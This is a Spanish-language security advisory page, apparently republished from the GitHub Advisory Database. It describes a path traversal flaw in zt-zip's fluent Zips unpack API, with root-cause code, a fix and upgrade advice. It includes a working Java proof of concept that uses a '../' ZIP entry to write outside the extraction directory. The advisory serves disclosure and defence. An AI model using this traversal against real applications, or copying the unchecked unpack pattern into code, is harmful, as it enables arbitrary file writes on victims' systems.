Alta

zt-zip: Salto de directorio en la API fluida de descompresión

  • Publicada: 09.11.2026
  • Actualizado: 10.11.2026 10:00

Resumen

ZipUtil.unpack(...) rechaza entradas ZIP que escapan del directorio de destino, pero la API fluida Zips parece utilizar una implementación de descompresión independiente que no aplica la misma verificación de límites de destino.

Una entrada ZIP como:

../escape/poc.txt

se escribe fuera del directorio de destino configurado cuando se procesa con:

java
Zips.get(zip).unpack().destination(outputDir).process();

La rama del transformador también se ve afectada.

Versión probada

commit: 067935dca375500d3ff025aafcdf0e4283931b1a

Causa raíz

En src/main/java/org/zeroturnaround/zip/Zips.java, Zips.UnpackingCallback.process(...) genera el archivo de salida directamente a partir del nombre de la entrada ZIP:

java
String entryName = zipEntry.getName();
File file = new File(destination, entryName);

Posteriormente, el método crea directorios/archivos y copia el contenido a esa ruta:

java
FileUtils.forceMkdir(file.getParentFile());
file.createNewFile();
FileUtils.copy(in, file);

Cuando se configura un transformador, se pasa el mismo file a transformIntoFile(...).

No parece existir una comprobación de ruta canónica antes de estas escrituras en el sistema de archivos, por lo que las entradas con ../ pueden resolverse fuera de destination.

Reproducción mínima

java
import java.io.*;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.zip.*;

import org.zeroturnaround.zip.ZipUtil;
import org.zeroturnaround.zip.Zips;
import org.zeroturnaround.zip.transform.ZipEntryTransformer;

public class ZipsTraversalPoc {
  public static void main(String[] args) throws Exception {
    Path work = Files.createTempDirectory("ztzip-zips-poc");
    Path zip = work.resolve("poc.zip");
    Path escaped = work.resolve("escape").resolve("poc.txt");
    String entryName = "../escape/poc.txt";

    Files.createDirectories(escaped.getParent());

    try (ZipOutputStream zos = new ZipOutputStream(Files.newOutputStream(zip))) {
      zos.putNextEntry(new ZipEntry(entryName));
      zos.write("plain branch\n".getBytes(StandardCharsets.UTF_8));
      zos.closeEntry();
    }

    Path zipUtilOut = work.resolve("ziputil-out");
    Files.createDirectories(zipUtilOut);
    try {
      ZipUtil.unpack(zip.toFile(), zipUtilOut.toFile());
      System.out.println("ZIPUTIL_REJECTED=false");
    }
    catch (Throwable t) {
      System.out.println("ZIPUTIL_REJECTED=" + t.getClass().getName());
    }
    System.out.println("ZIPUTIL_ESCAPED_EXISTS=" + Files.exists(escaped));

    Files.deleteIfExists(escaped);

    Path zipsOut = work.resolve("zips-out");
    Files.createDirectories(zipsOut);
    Zips.get(zip.toFile()).unpack().destination(zipsOut.toFile()).process();
    System.out.println("ZIPS_PLAIN_ESCAPED_EXISTS=" + Files.exists(escaped));
    System.out.println("ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=" + !escaped.normalize().startsWith(zipsOut.normalize()));

    Files.deleteIfExists(escaped);

    Path zipsTransformOut = work.resolve("zips-transform-out");
    Files.createDirectories(zipsTransformOut);
    Zips.get(zip.toFile())
        .unpack()
        .destination(zipsTransformOut.toFile())
        .addTransformer(entryName, new ZipEntryTransformer() {
          public void transform(InputStream in, ZipEntry entry, ZipOutputStream out) throws IOException {
            out.putNextEntry(new ZipEntry(entry.getName()));
            out.write("transform branch\n".getBytes(StandardCharsets.UTF_8));
            out.closeEntry();
          }
        })
        .process();
    System.out.println("ZIPS_TRANSFORM_ESCAPED_EXISTS=" + Files.exists(escaped));
    System.out.println("ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=" + !escaped.normalize().startsWith(zipsTransformOut.normalize()));
  }
}

Salida observada:

ZIPUTIL_REJECTED=org.zeroturnaround.zip.MaliciousZipException
ZIPUTIL_ESCAPED_EXISTS=false
ZIPS_PLAIN_ESCAPED_EXISTS=true
ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=true
ZIPS_TRANSFORM_ESCAPED_EXISTS=true
ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=true

Comportamiento esperado

Zips.get(zip).unpack().destination(outputDir).process() debería rechazar las entradas con salto de directorio o asegurar de otro modo que la ruta de salida resuelta permanezca dentro de outputDir.

Impacto

Las aplicaciones que descomprimen archivos ZIP controlados por atacantes mediante la API fluida Zips pueden permitir escrituras arbitrarias de archivos fuera del directorio de extracción previsto, dependiendo de los permisos del sistema de archivos y del diseño de la aplicación.

Solución sugerida

Aplicar la misma validación de límites de destino utilizada por ZipUtil.unpack(...) antes de cualquier escritura en el sistema de archivos en Zips.UnpackingCallback.process(...).

Por ejemplo, comparar valores canónicos de Path antes de crear directorios o archivos:

java
file.getCanonicalFile().toPath()
    .startsWith(destination.getCanonicalFile().toPath())

Las pruebas de regresión deberían cubrir ambos casos:

java
Zips.get(zip).unpack().destination(out).process();
Zips.get(zip).unpack().destination(out).addTransformer(...).process();

Qué hacer

Actualice org.zeroturnaround:zt-zip a la versión 1.18.0 o posterior.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Java / Kotlin (Maven) org.zeroturnaround:zt-zip < 1.18.0 1.18.0

Referencias

Puntuación CVSS 8.2/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
Debilidad (CWE)
CWE-22
Plataforma
Java / Kotlin (Maven)
Paquete
org.zeroturnaround:zt-zip
Publicada
09.11.2026
Actualizado
10.11.2026 10:00

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-52c6-99qm-3hqr - CC BY 4.0

Historial de vulnerabilidades: org.zeroturnaround:zt-zip

Todas las vulnerabilidades publicadas de este paquete (Java / Kotlin (Maven)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
3
Primera → última
05.2022 11.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Alta 1
  • Media 2

Divulgaciones por año

  1. 2022: 1
  2. 2023: 0
  3. 2024: 0
  4. 2025: 0
  5. 2026: 2
  1. zt-zip: Salto de directorio en la API fluida de descompresión esta entrada
    Alta · 8.2 CVE-2026-63436 < 1.18.0 1.18.0

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.